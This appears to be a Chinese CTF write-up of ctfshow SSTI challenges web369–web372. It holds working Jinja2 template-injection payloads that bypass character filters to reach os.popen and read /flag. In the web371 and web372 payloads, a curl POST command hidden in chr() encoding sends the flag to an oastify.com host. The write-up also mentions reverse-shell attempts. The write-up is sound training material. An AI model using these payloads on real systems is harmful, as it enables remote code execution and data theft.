ctfshow-web入门-SSTI(web369-web372)下

目录

1、web369

2、web370

3、web371

4、web372


1、web369

完全过滤了 request

双大括号也过滤了

包括前面的单双引号、中括号、下划线都是过滤了的

能构造出一些东西

调用属性:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}

调用键:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((lipsum|attr(gl)).get(o))%}

调用方法:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print(((lipsum|attr(gl)).get(o)).popen)%}

构造 payload 命令执行:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set l=(((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(l).read())%}

ls 执行成功

但是 flag 在根目录,斜杠 / 这个符号在我们的 lipsum 里面没有

因此我们得换一种构造方法,这里使用 join 过滤器:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(dict(l=a,s=b)|join).read())%}

这里单个命令都好执行

但是问题又来了,空格怎么搞

试了一些绕过方法,都不行

并不是绕过方法不行,是一些字符在这里无法使用,本地测试:

可以发现 / $ < 这些符号会导致环境崩溃

那么我们还是就第一种方法一个一个构造吧

斜杠符号我们在这里找:

定位具体位置:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print((lipsum|attr(gl)|string|list).pop(431))%}

拿下

最终 payload:

复制代码
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set cmd=(((lipsum|string|list).pop(4))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(5))~((lipsum|string|list).pop(9))~((lipsum|attr(gl)|string|list).pop(431))~((lipsum|string|list).pop(1))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(10)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

看了其他wp发现这道题有更简单的方法,大家自行摸索,我这里还是做复杂了

2、web370

新增过滤了数字

上面的 payload 用到了 1 4 5 7 9 10 15 18 19 27 31 40 431

基于上面的 payload,替换数字后可以得到如下 payload:

复制代码
?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

但是由于每次重启环境后 (lipsum|string) 的地址会变,字符也就有些不一样了

因此我们前面构造的字符就会有区别,需要重新定位字符的位置

它这里还过滤了一些其他字符串

重新找一遍太折腾了,我们这里换 payload,不再构造数字了,直接用全角数字替换半角数字

前面说过拼接出来的字符斜杠这些会导致环境崩溃,而 flag 是在根目录下面肯定需要用到斜杠

这里我们使用 chr 函数,payload:

复制代码
{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}

当然,我们也可以按照上一题 {%print((lipsum|attr(gl)|string|list).pop(431))%} 的方法定位斜杠的位置,继续做拼接,按理来说是可行的,各位自行尝试,我只是觉得那样做复杂了。

3、web371

新增过滤 print

没有回显的话我们考虑外带攻击或者反弹 shell

这里以外带为例,payload:

复制代码
?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(117)%2bchr(51)%2bchr(104)%2bchr(100)%2bchr(51)%2bchr(97)%2bchr(53)%2bchr(105)%2bchr(48)%2bchr(121)%2bchr(105)%2bchr(52)%2bchr(117)%2bchr(49)%2bchr(105)%2bchr(109)%2bchr(98)%2bchr(48)%2bchr(120)%2bchr(110)%2bchr(104)%2bchr(49)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(97)%2bchr(116)%2bchr(121)%2bchr(111)%2bchr(109)%2bchr(100)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

4、web372

新增过滤 count

如果我们采用构造数字的方法,可以用 length 替代

有点麻烦,我们还是直接采用全角数字

上一题演示的是外带,这里我们尝试反弹 shell

可以接收到请求但是无法常规的反弹 shell , nc 反弹也没有成功

那就还是继续外带吧,payload:

复制代码
?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(118)%2bchr(114)%2bchr(113)%2bchr(52)%2bchr(97)%2bchr(113)%2bchr(55)%2bchr(115)%2bchr(102)%2bchr(110)%2bchr(118)%2bchr(53)%2bchr(49)%2bchr(104)%2bchr(121)%2bchr(53)%2bchr(106)%2bchr(121)%2bchr(120)%2bchr(107)%2bchr(107)%2bchr(52)%2bchr(121)%2bchr(121)%2bchr(49)%2bchr(112)%2bchr(55)%2bchr(103)%2bchr(118)%2bchr(57)%2bchr(106)%2bchr(121)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

SSTI 注入至此结束

My6n,20241115

相关推荐
aklry1 分钟前
uniapp实现在线pdf预览以及下载
前端·pdf·uni-app
冰轮a3 分钟前
Python打卡 DAY 27
python
℘团子এ24 分钟前
vue3中预览Excel文件
前端·javascript
圈圈编码40 分钟前
MVVM框架
android·学习·kotlin
shmily麻瓜小菜鸡1 小时前
在 Angular 中, `if...else if...else`
前端·javascript·angular.js
拓端研究室TRL1 小时前
Python与MySQL网站排名数据分析及多层感知机MLP、机器学习优化策略和地理可视化应用|附AI智能体数据代码
人工智能·python·mysql·机器学习·数据分析
小哈里1 小时前
【pypi镜像源】使用devpi实现python镜像源代理(缓存加速,私有仓库,版本控制)
开发语言·python·缓存·镜像源·pypi
全栈派森1 小时前
云存储最佳实践
后端·python·程序人生·flask
ayiya_Oese1 小时前
[模型部署] 1. 模型导出
图像处理·python·深度学习·神经网络·视觉检测
电商数据girl1 小时前
酒店旅游类数据采集API接口之携程数据获取地方美食品列表 获取地方美餐馆列表 景点评论
java·大数据·开发语言·python·json·旅游